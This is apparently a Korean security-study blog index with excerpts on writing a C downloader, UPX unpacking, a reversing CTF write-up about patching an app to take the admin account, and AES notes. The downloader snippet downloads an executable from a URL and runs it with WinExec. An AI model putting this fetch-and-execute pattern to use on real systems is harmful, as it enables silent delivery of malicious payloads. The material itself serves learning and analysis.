전체 글 117

C언어로 다운로더 만들기

Downloader이란? 주요 API URLDownloadToFile: 인터넷에서 비트를 다운로드하여 파일에 저장한다. WinExec: 지정된 응용 프로그램을 실행한다. 동작 방식 실습 프로젝트 파일을 열면 다음과 같이 코드가 나온다 #include #pragma comment(lib, "urlmon.lib") int main() { LoadLibrary(L"urlmon.dll"); HRESULT hResult = URLDownloadToFile(0, L"http://app.pc.kakao.com/talk/win32/KakaoTalk_Setup.exe", L"c:\\Program Files\\a.exe", 0,0); WinExec("c:\\Program Files\\a.exe", SW_SHOW); ret..

study/보안 2024.02.04

수동 언패킹 실습

MsgBox_upx.exe 를 올리디버거로 실행해보자 맨 처음에 PUSHAD 라는게 보일텐데, 얘는 레지스터 A~D(EAX부터 EDI까지) 까지 다 스택에 push 하라는 거다 이걸 왜 하냐? 레지스터에 있는 값을 보관하기 위해 함. 왜 보관을 하냐? 패커는 종종 이렇게 레지스터의 값 임의로 저장을 해두고 나중에 다시 복원해서 씀! 그럼 PUSHAD 가 있으면 그 반대는 POPAD이다!! ctrl+S 로 popad를 찾아보면 다음과 같이 나옴 upx에는 popad가 하나가 아닐 수 있기 때문에 일단 F2를 눌러 bp를 설정하고 ctrl+L을 눌러 다음 popad를 찾는다 여기에도 마찬가지로 bp를 걸어준다 여기서 한번 더 ctrl+L을 눌러주면 밑에 Item Not Found 라고 오류메세지가 뜬다!! ..

study/보안 2024.02.02

UPX 언패킹 실습

MessageBoxW라는 함수 하나만 들어가 있고 실행하면 다음과 같은 화면이 나온다. 실행을 하면 Release에 이렇게 exe 실행파일이 생성된 걸 볼 수 있는데 여기서 upx 패킹/언패킹을 한번 해보자!! (지금 저 경로 안에 upx.exe가 이미 있음. upx가 다른 경로에 있을 경우 환경변수 설정이 필요함!!) 윈도우7 폴더에서 cmd창 바로 여는 꿀팁... 그냥 우클릭하면 안되고 shift+우클릭을 해야 "Open command window here" 이라고 뜬다!!! 난 맥북 써서 몰랐다..... 여기서 이제 upx를 쳐보면 이렇게 뜨는데 압축을 하고 싶으면 upx MsgBox.exe -o MsgBox_upx.exe 라고 하면 바로 압축되는걸 볼 수 있다! (아까 실습파일에 이미 있어서 지우..

study/보안 2024.01.31

[ecs ctf] [리버싱 자체제작] WpfApp - writeup

[문제 설명] admin 계정을 탈취해서 플래그값을 찾기 [문제의 의도] 코드/어셈블리 패치를 통한 admin 계정 탈취 문제 풀이 실행시 다음과 같은 화면이 나타납니다. 여기서 어드민을 체크해볼까요? 어드민이 아니라면서 체크도 해제되고 아예 체크박스가 막혀버렸네요. 그럼 이 상태에서 Get Flag 버튼을 한번 눌러봅시다 어드민이 아니라면서 막네요. 그럼 다시 실행시키고 이번에는 아무것도 안 누른 상태로 플래그 버튼을 눌러보겠습니다. 동일하게 경고문이 뜨는군요 :) 그러면 이제 분석을 해봅시다. 분석에 앞서, 이 문제의 이름을 보면 WpfApp이라고 되어있습니다. 구글에 wpf 이라고 치면 다음과 같이 나옵니다 그럼 C#으로 만든 앱인걸 알 수 있습니다! C# 같은 경우에는 분석을 할때 대중적으로 많이..

WARGAME/made by me! 2024.01.24

[CryptoHack] Confusion through Substitution

SubBytes confusion - 안전한 암호문의 필수요소 중 하나 - 암호문과 키의 관계는 가능한 한 복잡해야 함 = 암호문만 보고 키를 유추 할 수는 없어야 함! - confusion이 약하면, 암호문, 키, 원문과의 관계는 일차 함수로 나타낼 수 있음 (ex. 카이사르 암호: 암호문 = 원문 + 키) S-box(Substitution Box)의 가장 큰 목적: input(plaintext)가 일차함수로 유추될 수 있는 가능성을 낮추는 역할 S-box의 fast lookup: input 바이트에 대한 비선형적인 함수를 행하는 shortcut - 이 함수는 Galois field 2**8의 모듈러 역연산을 갖고 아핀변환(affine transformation)을 한다 -> maximum confus..

[CryptoHack] Round Keys

Initial key addition 의 단계 -> AddRoundKey 현재 state 와 현재 round key를 XOR 연산 해준다! - AddRoundKey는 각 라운드가 끝날때 마지막 단계에서 일어난다 - AES에서 가장 중요한 부분!! -> 왜냐면 키가 state에 서로 섞이는 단계라서 AES에서 키를 알면 복호화를 하기 정말 쉽지만 키를 모르면 정말 어려움. 근데 심지어, AES에서는 11개의 키를 통해 state와 섞이기 때문에 정말 어려움^^.. 퀴즈) add_round_key.py의 내용 state = [ [206, 243, 61, 34], [171, 11, 93, 31], [16, 200, 91, 108], [150, 3, 194, 51], ] round_key = [ [173, 12..

[CryptoHack] Structure of AES

AES 암호화 과정 설명 https://www.youtube.com/watch?v=gP4PqVGudtg AES 암호화 과정 요약 1. Key Expansion 128비트 키에서 11개의 128비트 라운드키가 파생된다. 2. Initial key addition AddRoundKey - 첫번째 라운드 키는 바로 state(plaintext의 블록)와 XOR 연산된다. 3. Round - 9개의 라운드와 마지막 10번째 최종 라운드를 포함해 총 10번 반복된다. a) SubBytes - state의 각 바이트는 S-box에 따라 다른 바이트로 대체된다. b) ShiftRows - state 행렬의 마지막 3행은 1~3열만큼 전치된다. c) MixColums - state의 각 열에 대해 행렬 곱셈이 수행되어..

[CryptoHack] Resisting Bruteforce

만약 블록 암호가 안전하려면, 공격자가 AES와 랜덤치환을 구별할 수 없을 것이다. 즉, AES를 공격하는 것은 브루트포스보다 나은 방법은 없어야 한다!! Biclique attack? MITM 공격법 중 하나인데, 블록암호와 해쉬함수 둘다 공격할 수 있다. 이 방식으로 AES를 공격할 경우 security level을 128비트에서 126.1 비트로 살짝 내린다. Shor's algorithm? quantum algorithm for finding the prime factor of an integer. RSA와 같은 공개키 암호를 깰 수 있음! 퀴즈) What is the name for the best single-key attack against AES? 답: biclique attack

[CryptoHack] Keyed Permutations

keyed permutation(치환)? AES maps an input block into a unique output block, with a key determining which permutation to perform. block? fixed number of bytes or bits. ex) AES-128: 128 bit block & key (16 byte) 퀴즈) 일대일 대응(one-to-one correspondense)의 수학적 용어는? 답: bijection 💡같은 키를 가지고 역 연산을 하면 우리는 decrypt를 할 수 있게 된다. 다만, 이때 일대일 대응이 되어야지만 plaint text -> cipher text 변환과 cipher text -> plain text 변환이 가능..

728x90